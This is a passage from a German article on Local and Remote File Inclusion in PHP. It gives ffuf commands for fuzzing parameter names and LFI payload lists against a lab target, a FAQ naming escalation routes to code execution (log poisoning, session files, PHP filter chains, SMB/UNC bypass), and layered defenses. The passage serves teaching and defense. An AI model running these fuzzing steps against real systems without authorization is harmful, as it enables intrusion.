Zum sicheren Üben eignet sich ein lokales Labor: DVWA (Damn Vulnerable Web Application) unter XAMPP oder Docker, mit dem Sicherheitslevel „Low" als Einstieg. Für die Discovery-Phase sind ffuf und die SecLists-Sammlung nützlich, etwa zum Finden verwundbarer Parameter und zum Durchprobieren von LFI-Payload-Listen:
# Verwundbare Parameternamen finden
ffuf -w SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ \
-u 'http://SERVER/index.php?FUZZ=value' -fs 2287
# LFI-Payloads durchprobieren
ffuf -w SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ \
-u 'http://SERVER/index.php?page=FUZZ' -fs 2287
Der Parameter -fs 2287 filtert Antworten einer bekannten Fehlerseiten-Größe heraus, um das Rauschen zu reduzieren. Häufig verwundbare Parameternamen sind unter anderem page, file, lang, include, template, module und view. Es existieren zudem spezialisierte Automatisierungstools für LFI/RFI, deren Aktualität allerdings stark schwankt, prüfen Sie vor dem Einsatz stets den Wartungsstand des jeweiligen Projekts.
Ein professioneller Test kombiniert manuelle Analyse mit automatisierten Verfahren: statische Codeanalyse (SAST) findet gefährliche Senken im Quellcode, dynamisches Testen (DAST) injiziert Payloads zur Laufzeit, und Proof-based-Verfahren bestätigen die echte Ausnutzbarkeit, um Fehlalarme zu reduzieren.
Häufige Fragen
Was ist der Unterschied zwischen LFI und RFI?
Bei Local File Inclusion (LFI) bindet die Anwendung eine Datei ein, die bereits auf dem Server liegt, der Angreifer steuert nur, welche lokale Datei geladen wird. Bei Remote File Inclusion (RFI) stammt die eingebundene Datei von einem externen, vom Angreifer kontrollierten Server. RFI ist der direktere Weg zur Codeausführung, setzt in PHP klassischerweise aber allow_url_include = On voraus, das seit PHP 5 standardmäßig deaktiviert ist.
Kann man mit LFI Code ausführen (RCE)?
Ja. Eine LFI ist selten nur ein Informationsleck. Über Log Poisoning, Session-Datei-Inclusion, /proc/self/environ, Phar-Deserialisierung oder die seit 2022 dokumentierten PHP-Filter-Chains lässt sich eine reine Dateieinbindung in vollständige Remote Code Execution verwandeln, auf modernen PHP-Servern sogar ganz ohne aktiviertes allow_url_include.
Ist Remote File Inclusion heute noch relevant?
Seltener als früher, aber nicht bedeutungslos. Klassisches RFI benötigt allow_url_include = On, das seit PHP 5 standardmäßig deaktiviert und seit PHP 7.4.0 zusätzlich als deprecated markiert ist. Relevant bleibt RFI bei Legacy-Systemen mit Fehlkonfiguration und über den SMB/UNC-Bypass unter Windows, der selbst bei deaktiviertem allow_url_include und allow_url_fopen funktioniert.
Wie schützt man sich vor Local File Inclusion?
Wirksamer Schutz ist mehrschichtig: eine Allowlist bekannter Werte als Kern, Kanonisierung des Pfads mit realpath() plus anschließende Präfixprüfung, eine gehärtete php.ini mit open_basedir, allow_url_include = Off und allow_url_fopen = Off, abgesicherte Uploads sowie ein is_file()-Check gegen PHP-Filter-Chains. Eine WAF ergänzt diese Schichten, ersetzt sicheren Code aber nicht.
Was ist der Unterschied zwischen LFI und Directory Traversal?
Directory Traversal (Path Traversal) ist eine Technik: Mit Sequenzen wie ../ bricht ein Angreifer aus dem vorgesehenen Verzeichnis aus. LFI ist die Schwachstellenklasse, bei der ein solcher Pfad in eine Funktion fließt, die den Inhalt nicht nur liest, sondern potenziell ausführt. Traversal ist also das Werkzeug, LFI der Kontext, in dem daraus Codeausführung werden kann.
Fazit
Local File Inclusion ist alles andere als ein harmloses Informationsleck. Die Techniken in diesem Artikel zeigen, dass eine einzige unvalidierte Dateizugriffsfunktion auf einem modernen, korrekt konfigurierten PHP-Server zu vollständiger Codeausführung führen kann, über Log Poisoning, Session-Dateien, Phar-Deserialisierung und insbesondere über die seit 2022 dokumentierten PHP-Filter-Chains, die gänzlich ohne allow_url_include auskommen. RFI ist seltener geworden, bleibt aber bei Legacy-Systemen und über den SMB/UNC-Bypass unter Windows relevant.
Für Verteidiger lautet die zentrale Lehre: Verlassen Sie sich nicht auf einzelne Filter oder das Abschalten einer einzigen Direktive. Wirksamer Schutz ist mehrschichtig, mit einer Allowlist als Kern, realpath()-Kanonisierung und Präfixprüfung, gehärteter php.ini inklusive open_basedir, abgesicherten Uploads und einem is_file()-Check gegen Filter-Chains. Wer diese Schichten kombiniert, macht aus einer potenziell kritischen Kette wieder das, was File Inclusion sein sollte: ein internes, kontrolliertes Implementierungsdetail. Wie weit eine solche Kette im schlimmsten Fall reicht, zeigt unser Artikel zu Remote Code Execution.